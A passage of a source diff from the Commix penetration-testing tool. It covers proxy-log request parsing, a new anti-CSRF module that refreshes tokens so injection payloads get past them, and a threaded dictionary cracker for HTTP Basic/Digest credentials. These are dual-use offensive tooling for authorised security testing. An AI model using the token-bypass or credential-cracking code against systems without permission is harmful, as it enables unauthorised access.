menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split(settings.END_LINE.ESCAPED_LF)) + request_lines = request.split(settings.END_LINE.LF) + while c < len(request_lines) and len(request_lines[c]) > 0 and ':' in request_lines[c]: + x = request_lines[c].find(':') + # Keep the name as it was sent: a header the target matches case-sensitively would break. + header_name = request_lines[c][:x] + header_value = request_lines[c][x + 1:] + request_headers.append(header_name + ":" + header_value) + c += 1 + if c < len(request_lines) and len(request_lines[c]) == 0: + c += 1 + # A body is line-based (multipart boundaries, XML, form data), so keep its line endings. + target["data"] = settings.END_LINE.LF.join(request_lines[c:]).rstrip(settings.END_LINE.LF) if c < len(request_lines) else "" + + # Normalize a JSON body right away, so every request (including the first + # connectivity check) uses the same pretty-printed form, not the raw file layout. + if re.search(settings.JSON_RECOGNITION_REGEX, target["data"]) or re.search(settings.JSON_LIKE_RECOGNITION_REGEX, target["data"]): + try: + parsed = json.loads(target["data"], object_pairs_hook=OrderedDict) + target["data"] = json.dumps(parsed, indent=2, ensure_ascii=False) + except Exception: + pass + target["raw_headers"] = settings.END_LINE.ESCAPED_LF.join(request_headers) + + # Safely determine HTTP method + lines = request.strip().splitlines() + if lines and len(lines[0].split()) >= 1: + target["method"] = lines[0].split()[0] + else: + # fallback to default method if malformed/empty + target["method"] = settings.HTTPMETHOD.GET + + # Safely extract request URL + match = re.search(r"\s(.*?)\sHTTP/", request or "") + request_url = match.group(1) if match else "" + + if not request_url: + return None + + request_url = "".join([str(i) for i in request_url]) + # Check for other headers + extra_headers = "" + scheme = "http://" + + for line in request_headers: + host_value = _extract_header_value(settings.HOST, line) + if host_value is not None: + target["host"] = host_value + agent_value = _extract_header_value(settings.USER_AGENT, line) + if agent_value is not None: + target["agent"] = agent_value + cookie_value = _extract_header_value(settings.COOKIE, line) + if cookie_value is not None: + target["cookie"] = cookie_value + referer_value = _extract_header_value(settings.REFERER, line) + if referer_value is not None: + target["referer"] = referer_value + if "https://" in referer_value: + scheme = "https://" + # Read through the same helper as the fields above, rather than against a pattern of its own: + # unanchored and unescaped, as it was, the name matched anywhere in the line, so 'X-Authorization' + # was taken for this field - its credentials adopted as the ones to authenticate with, and the + # header itself dropped from the request, since what is read here is never added as an extra one. + auth_value = _extract_header_value(settings.AUTHORIZATION, line) + if auth_value is not None: + auth_provided = auth_value.split() + if auth_provided: + target["auth_type"] = auth_provided[0].lower() + if target["auth_type"].lower() == settings.AUTH_TYPE.BASIC: + try: + # Add base64 padding if missing + b64_string = auth_provided[1] + b64_string += '=' * (-len(b64_string) % 4) + target["auth_cred"] = base64.b64decode(b64_string).decode() + except (binascii.Error, UnicodeDecodeError) as e: + err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + elif target["auth_type"].lower() == settings.AUTH_TYPE.DIGEST: + if not menu.options.auth_cred: + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Add extra headers + else: + # The name ends at the first colon, so a value carrying one of its own survives whole. + match = re.match(r"([^:\s]+):[ \t]*(.*)", line) + # Ignore some headers. + if match and match.group(1).lower() not in [_.lower() for _ in (settings.CONTENT_LENGTH, settings.ACCEPT_ENCODING, \ + settings.CONNECTION, settings.PROXY_CONNECTION, settings.IF_MODIFIED_SINCE, settings.IF_NONE_MATCH)]: + extra_headers += match.group(1) + ":" + match.group(2) + settings.END_LINE.ESCAPED_LF + + # Extra headers + target["headers"] = extra_headers + + # Target URL + if not target["host"]: + return None + + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not target["host"] in request_url: + request_url = request_url.replace(scheme, scheme + target["host"]) + target["url"] = checks.check_http_s(request_url) + + if _is_static_request(target["method"], target["url"]): + return None + + return target + +""" +Remember what was given on the command line, before any parsed request overwrites it. +""" +_command_line_options = {} + +# Keep the options the command line gave, so a parsed request cannot overrule them. +def _keep_command_line_options(): + if not _command_line_options: + for option in ("host", "agent", "cookie", "referer", "auth_type", "auth_cred"): + _command_line_options[option] = getattr(menu.options, option, None) + +""" +Apply a parsed target, so the scan that follows runs against that request. +""" +def apply_target(target): + _keep_command_line_options() + menu.options.url = target["url"] + menu.options.data = target["data"] + menu.options.headers = target["headers"] + settings.RAW_HTTP_HEADERS = target["raw_headers"] + settings.HTTP_METHOD = target["method"] + # The request method follows the body, so a target without one must not inherit the previous body. + settings.USER_DEFINED_POST_DATA = target["data"] + settings.IGNORE_USER_DEFINED_POST_DATA = False + # What a request does not carry falls back to the command line, never to the previous target. + for option in ("host", "agent", "cookie", "referer", "auth_type", "auth_cred"): + value = target[option] if target[option] is not None else _command_line_options.get(option) + setattr(menu.options, option, value) + +""" +Parse every target described by a request / proxy log file. +""" +def parse_requests(request_file): + if not os.path.exists(request_file): + err_msg = "It seems the '" + request_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + try: + if os.stat(request_file).st_size == 0: + _invalid_data(request_file) + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: + content = file.read() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + error_msg += str(err_msg.args[1]).lower() + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + targets = [] + seen = set() + for request in _split_requests(content): + target = _parse_request(request, request_file) + if target is None: + continue + if not checks.in_scope(target["url"]): + continue + signature = _target_signature(target) + if signature in seen: + continue + seen.add(signature) + targets.append(target) + + if not targets: + # Saying the file is invalid would be wrong when it was the scope that emptied it. + if menu.options.scope and settings.SKIPPED_OUT_OF_SCOPE: + err_msg = "No target of the '" + os.path.split(request_file)[1] + "' file is within the given scope." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + _invalid_data(request_file) + + return targets + +""" +The request of '--safe-req', read from a file written the way '-r' expects one. + +Only the first request of the file is taken: this is the one request that is repeated, and a file +holding several says nothing about which. +""" +def parse_safe_request(request_file): + return parse_single_request(request_file, "safe") + +""" +The one request a file holds, for an option that replays it rather than testing it. +""" +def parse_single_request(request_file, label): + if not os.path.exists(request_file): + err_msg = "It seems the '" + request_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + try: + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: + content = file.read() + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + str(err_msg.args[1]).lower() + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + for raw_request in _split_requests(content): + target = _parse_request(raw_request, request_file) + if target is None: + continue + headers = [] + for header in (target["raw_headers"] or "").split(settings.END_LINE.ESCAPED_LF): + if ":" in header: + name, _, value = header.partition(":") + if name.strip().lower() not in ("content-length",): + headers.append((name.strip(), value.strip())) + return { + "url" : target["url"], + "method" : target["method"], + "data" : target["data"], + "headers" : headers + } + + err_msg = "Invalid format of the " + label + " request file '" + request_file + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Parse target and data from http proxy logs (i.e. Burp or WebScarab) +""" +def logfile_parser(): + if menu.options.requestfile: + info_msg = "Parsing HTTP request " + request_file = menu.options.requestfile + elif menu.options.logfile: + info_msg = "Parsing target " + request_file = menu.options.logfile + + targets = parse_requests(request_file) + + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if len(targets) > 1: + info_msg = "Found a total of " + str(len(targets)) + " targets in the provided file." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + settings.MULTI_REQUEST_TARGETS = targets + apply_target(targets[0]) + + return targets + +# eof diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py new file mode 100644 index 0000000000..019e9d03d9 --- /dev/null +++ b/src/core/requests/anticsrf.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.thirdparty.six.moves import urllib as _urllib +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + +""" +Anti-CSRF token handling. + +A target that checks a token rejects every payload before it reaches a shell, and the rejection +looks exactly like a parameter that is not injectable. So the token is fetched again before each +request and written into the one that is about to be sent. +""" + +""" +Where the token may be written, in the order it is looked for - the first shape that answers wins. +""" +def _token_patterns(name): + return ( + r"(?i)<input[^>]+\bname=[\"']?(?P<name>" + name + r")\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)", + r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>" + name + r")\b", + r"(?P<name>" + name + r")[\"']:[\"'](?P<value>[^\"']+)", + r"\b(?P<name>" + name + r")\s*=\s*['\"]?(?P<value>[^;'\"]+)", + r"<meta\s+name=[\"']?(?P<name>" + name + r")[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" + ) + +""" +Read the token out of a page, or out of the headers that came with it. +""" +def _find_token(page, response_headers): + name = settings.CSRF_TOKEN + page = _urllib.parse.unquote(page or "") + for pattern in _token_patterns(name): + match = re.search(pattern, page, re.I) + if match: + break + else: + # A token handed back in a header of its own, rather than written into the page. + match = re.search(r"\b(?P<name>" + name + r")\s*[:=]\s*(?P<value>\w+)", str(response_headers or ""), re.I) + if not match: + return None, None + token_name, token_value = match.group("name"), match.group("value") + # A value the page assembles character by character, rather than writing out. + assembled = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token_value) + if assembled: + token_value = "".join(chr(int(_)) for _ in assembled.group(1).replace(" ", "").split(",")) + return token_name, token_value.strip("'\"") + +""" +Fetch the page the token is written on, as the options describe it. +""" +def _fetch_token_page(url, http_request_method): + from src.core.requests import headers + token_url = menu.options.csrf_url or url + data = menu.options.csrf_data + if not data and menu.options.csrf_url == url and (menu.options.csrf_method or "").upper() == settings.HTTPMETHOD.POST: + data = menu.options.data + method = menu.options.csrf_method or (http_request_method if menu.options.csrf_url == url else None) + if not method: + method = settings.HTTPMETHOD.POST if data else settings.HTTPMETHOD.GET + request = _urllib.request.Request(token_url, data.encode(settings.DEFAULT_CODEC) if data else None, method=method.upper()) + headers.do_check(request) + response = headers.check_http_traffic(request) + if response is None: + response = headers.resend(request) + if response is None or isinstance(response, bool): + return "", None, None + try: + # Decompressed and decoded the way every other page is: a gzip-encoded page read raw holds no + # token that any expression could find. + page = checks.process_page_content(response, action="decode") + except Exception: + page = "" + code = getattr(response, "code", None) or getattr(response, "status", None) + return page, getattr(response, "headers", None), code + +""" +Write the token into a string of parameters, whether they are written as pairs or as JSON. + +Anchored at a parameter boundary, so that a token named 'token' does not rewrite the value of +'user_token' instead. +""" +def adjust_parameter(param_string, name, value): + if not param_string: + return param_string + quoted = _urllib.parse.quote(name) + if quoted in param_string: + name = quoted + match = re.search(r"(?i)(?:\A|(?<=&))" + re.escape(name) + r"=[^&]*", param_string) + if match: + return param_string[:match.start()] + name + "=" + value + param_string[match.end():] + match = re.search(r"(?i)[\"']" + re.escape(name) + r"[\"']\s*:\s*[\"'](?P<value>[^\"']*)", param_string) + if match: + return param_string[:match.start("value")] + value + param_string[match.end("value"):] + return param_string + +""" +Write the token into a header, wherever that header is kept. +""" +def adjust_header(raw, name, value): + if not raw: + return raw + # Anchored at the start of a header, which in a string of them is written out as an escaped newline. + return re.sub(r"(?i)((?:\A|[\r\n]|\\n)\s*" + re.escape(name) + r"\s*:\s*)[^\\\r\n]*", lambda match: match.group(1) + value, raw) + +""" +Whether this request currently carries the configured token parameter anywhere 'apply_token' would +write it back - the query string, the body, the cookie, or a header of its own. An auxiliary request +the run makes on its own (document-root discovery, a '--safe-url' check...) carries none of these, +and 'adjust_parameter'/'adjust_header' would leave it untouched anyway, so there is nothing here for +a fresh token to be fetched for. +""" +def _carries_token(request): + name = re.escape(settings.CSRF_TOKEN) + parts = request.full_url.split("?", 1) + if len(parts) == 2 and re.search(r"(?i)\b" + name + r"\s*=", parts[1]): + return True + if request.data and re.search(r"(?i)\b" + name + r"\s*=", request.data.decode(settings.DEFAULT_CODEC, errors="replace")): + return True + if menu.options.cookie and re.search(r"(?i)(?:\A|;\s*)[^=;\s]*" + name + r"[^=;\s]*=", menu.options.cookie): + return True + for header_name in list(request.headers) + list(request.unredirected_hdrs): + if header_name.lower() == settings.CSRF_TOKEN.lower(): + return True + return False + +""" +Put a freshly fetched token into the request that is about to be sent. + +The value travels wherever the parameter does: the query string, the body, a header of its own, or +the cookie - which is also where it is read from, for a target that hands it back that way. +""" +def apply_token(request): + if not settings.CSRF_TOKEN or settings.in_side_request("csrf_token") or not _carries_token(request): + return + settings.set_side_request("csrf_token", True) + try: + url = request.get_full_url() + method = request.get_method() + token_name = token_value = None + for attempt in range(menu.options.csrf_retries + 1): + page, response_headers, code = _fetch_token_page(url, method) + token_name, token_value = _find_token(page, response_headers) + if token_name: + break + # A page of its own, answering with the token and nothing else. + if menu.options.csrf_url and menu.options.csrf_url != url and code == settings.OK_RESPONSE_CODE: + content_type = "" + if response_headers is not None: + content_type = response_headers.get(settings.CONTENT_TYPE, "") or "" + if settings.PLAIN_TEXT_CONTENT_TYPE in content_type.lower(): + token_name, token_value = settings.CSRF_TOKEN_ORIGINAL, page.strip() + break + if attempt < menu.options.csrf_retries: + warn_msg = "Unable to find the anti-CSRF token '" + str(settings.CSRF_TOKEN_ORIGINAL) + "' at '" + warn_msg += str(menu.options.csrf_url or url) + "'. Retrying the request." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if not token_name: + # Carried in the cookie instead, which is a token the target keeps rather than one it prints. + if menu.options.cookie: + match = re.search(r"(?i)(?:\A|;\s*)(?P<name>[^=;\s]*" + settings.CSRF_TOKEN + r"[^=;\s]*)=(?P<value>[^;]*)", menu.options.cookie) + if match: + token_name, token_value = match.group("name"), match.group("value") + + if not token_name: + err_msg = "The anti-CSRF token '" + str(settings.CSRF_TOKEN_ORIGINAL) + "' cannot be found at '" + err_msg += str(menu.options.csrf_url or url) + "'." + if not menu.options.csrf_url: + err_msg += " You can try to re-run by providing a valid value for the option '--csrf-url'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Using '" + token_value + "' as the value of the anti-CSRF token '" + token_name + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + parts = request.full_url.split("?", 1) + if len(parts) == 2 and parts[1]: + request.full_url = parts[0] + "?" + adjust_parameter(parts[1], token_name, token_value) + if request.data: + body = request.data.decode(settings.DEFAULT_CODEC, errors="replace") + request.data = adjust_parameter(body, token_name, token_value).encode(settings.DEFAULT_CODEC) + if menu.options.cookie: + menu.options.cookie = adjust_parameter(menu.options.cookie, token_name, token_value) + # A token the target expects back as a header, under the name it was given. + for header_name in list(request.headers) + list(request.unredirected_hdrs): + if header_name.lower() == token_name.lower(): + request.add_unredirected_header(header_name, token_value) + # The user-defined headers are written onto the request after this point, so the value is + # refreshed where it is kept rather than on a request that does not carry it yet. + menu.options.header = adjust_header(menu.options.header, token_name, token_value) + menu.options.headers = adjust_header(menu.options.headers, token_name, token_value) + settings.RAW_HTTP_HEADERS = adjust_header(settings.RAW_HTTP_HEADERS, token_name, token_value) + finally: + settings.set_side_request("csrf_token", False) + +# eof diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index fd6b70b298..a086ce50c7 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,29 +3,30 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import sys -import time -import base64 -from src.utils import menu +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import session_handler -from src.core.requests import tor -from src.core.requests import proxy from src.core.requests import headers -from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.requests import redirection +from src.utils import common +from src.core.controller import checks +from src.thirdparty.colorama import Style from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -37,14 +38,24 @@ """ The authentication process """ -def authentication_process(): +def authentication_process(http_request_method): + if not menu.options.auth_data: + err_msg = "The '--auth-url' option requires you to also provide the '--auth-data' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data - #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() - opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) - # request = opener.open(_urllib.request.Request(auth_url)) + opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj), redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + _urllib.request.install_opener(opener) + # Login data is always form-submitted as POST, regardless of the target URL's own method. + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=settings.HTTPMETHOD.POST) + # Check if defined extra headers. + headers.do_check(request) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # HTTPCookieProcessor only fills the jar after the response is received. cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " @@ -52,185 +63,159 @@ def authentication_process(): if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL != 0: - info_msg = "The received cookie is " + info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." - print(settings.print_bold_info_msg(info_msg)) - _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data) - # Check if defined extra headers. - headers.do_check(request) - #headers.check_http_traffic(request) - # Get the response of the request. - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return response - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ -Define the HTTP authentication -wordlists for usernames / passwords. +HTTP auth wordlists for usernames and passwords """ def define_wordlists(): while True: - if not menu.options.batch: - question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] " + do_update = common.read_input(message, default="Y", check_batch=True) + if do_update in settings.CHOICE_YES: - username_txt_file = settings.USERNAMES_TXT_FILE - passwords_txt_file = settings.PASSWORDS_TXT_FILE - info_msg = "Setting default wordlists for dictionary-based attack." - print(settings.print_info_msg(info_msg)) + # Load default wordlists + usernames = common.load_list_from_file(settings.USERNAMES_TXT_FILE, "usernames wordlist") + passwords = common.load_list_from_file(settings.PASSWORDS_TXT_FILE, "passwords wordlist") + info_msg = "Using default wordlists for dictionary-based authentication check." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break + elif do_update in settings.CHOICE_NO: - question_msg = "Please enter usernames wordlist > " - username_txt_file = _input(settings.print_question_msg(question_msg)) - question_msg = "Please enter passwords wordlist > " - passwords_txt_file = _input(settings.print_question_msg(question_msg)) + # Load custom wordlists + username_txt_file = common.read_input("Please enter usernames wordlist > ", default=None, check_batch=True) + passwords_txt_file = common.read_input("Please enter passwords wordlist > ", default=None, check_batch=True) + usernames = common.load_list_from_file(username_txt_file, "usernames wordlist") + passwords = common.load_list_from_file(passwords_txt_file, "passwords wordlist") break + elif do_update in settings.CHOICE_QUIT: raise SystemExit() + else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + common.invalid_option(do_update) - try: - usernames = [] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) - if not os.path.isfile(username_txt_file): - err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(username_txt_file) == 0: - err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(username_txt_file, "r") as f: - for line in f: - line = line.strip() - usernames.append(line) - except IOError: - err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + return usernames, passwords +""" +Try one (username, password) pair; True on success. Uses its own opener, not the global one. +""" +def _try_credentials(url, realm, http_request_method, authentication_type, username, password): try: - passwords = [] - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) - if not os.path.isfile(passwords_txt_file): - err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(passwords_txt_file) == 0: - err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(passwords_txt_file, "r") as f: - for line in f: - line = line.strip() - passwords.append(line) - except IOError: - err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - return usernames, passwords + if authentication_type.lower() == settings.AUTH_TYPE.BASIC: + authhandler = _urllib.request.HTTPBasicAuthHandler() + else: + authhandler = _urllib.request.HTTPDigestAuthHandler() + authhandler.add_password(realm, url, username, password) + request = _urllib.request.Request(url, method=http_request_method) + if menu.options.ignore_proxy: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + else: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.SCHEME) + opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) + headers.do_check(request) + response = opener.open(request, timeout=settings.TIMEOUT) + response.close() + return True + except KeyboardInterrupt: + raise + except (Exception, SystemExit): + return False """ Simple Basic / Digest HTTP authentication cracker. """ -def http_auth_cracker(url, realm): +def http_auth_cracker(url, realm, http_request_method): settings.PERFORM_CRACKING = True # Define the HTTP authentication type. authentication_type = menu.options.auth_type + if authentication_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): + err_msg = "Dictionary-based cracking is not supported for the '" + authentication_type + "' HTTP authentication type." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() - i = 1 - found = False - total = len(usernames) * len(passwords) - for username in usernames: - for password in passwords: - float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) - # Check if verbose mode on - if settings.VERBOSITY_LEVEL != 0: - payload = "" + username + ":" + password + "" - if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_checking_msg(payload)) - else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) - sys.stdout.flush() - try: - # Basic authentication - if authentication_type.lower() == "basic": - authhandler = _urllib.request.HTTPBasicAuthHandler() - # Digest authentication - elif authentication_type.lower() == "digest": - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - tor.use_tor(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Store valid results to session - admin_panel = url - session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) - found = True - except KeyboardInterrupt : - raise - except (_urllib.error.HTTPError, _urllib.error.URLError): - pass - if found: - if settings.VERBOSITY_LEVEL == 0: - float_percent = settings.info_msg + pairs = [(u, p) for u in usernames for p in passwords] + total = len(pairs) + completed = 0 + last_bucket = -1 + found_pair = None + + # Count one attempt off, and say how far the guessing has got. + def report(username, password, succeeded): + nonlocal completed, last_bucket + completed += 1 + if settings.VERBOSITY_LEVEL != 0: + payload = "'" + username + ":" + password + "'" + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - if str(float_percent) == "100.0%": - if settings.VERBOSITY_LEVEL == 0: - float_percent = settings.FAIL_STATUS - else: - i = i + 1 - float_percent = ".. (" + float_percent + ")" - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for a valid pair of credentials." - info_msg += float_percent - sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - if found: - valid_pair = "" + username + ":" + password + "" - if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of credentials '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) - return valid_pair - - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - err_msg += "or place an other dictionary into '" - err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) - return False - -# eof \ No newline at end of file + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) + return + # A "." per 4%-wide bucket, then " (done)" - same progress style as the injection techniques. + if not settings.PROGRESS_LINE_OPEN: + info_msg = "Testing for valid HTTP authentication credentials." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if succeeded or completed == total: + settings.print_data_to_stdout(" (done)") + return + bucket = int(((completed * 100) / total) // 4) + if bucket != last_bucket: + last_bucket = bucket + settings.print_data_to_stdout(".") + + fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 + try: + if fan_out > 1: + with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: + for batch_start in range(0, total, fan_out): + if found_pair: + break + batch = pairs[batch_start:batch_start + fan_out] + future_to_pair = dict((executor.submit(_try_credentials, url, realm, http_request_method, authentication_type, u, p), (u, p)) for u, p in batch) + for future in concurrent.futures.as_completed(future_to_pair): + username, password = future_to_pair[future] + succeeded = future.result() + report(username, password, succeeded) + if succeeded and not found_pair: + found_pair = (username, password) + else: + for username, password in pairs: + succeeded = _try_credentials(url, realm, http_request_method, authentication_type, username, password) + report(username, password, succeeded) + if succeeded: + found_pair = (username, password) + break + except KeyboardInterrupt: + raise + + settings.PERFORM_CRACKING = False + if found_pair: + username, password = found_pair + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) + valid_pair = "" + username + ":" + password + "" + if not settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Authentication succeeded using credentials: '" + valid_pair + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return valid_pair + + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " + err_msg += "or place another dictionary in the '" + err_msg += settings.TXT_DIR + "/' directory." + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) + return False + +# eof diff --git a/src/core/requests/chunked.py 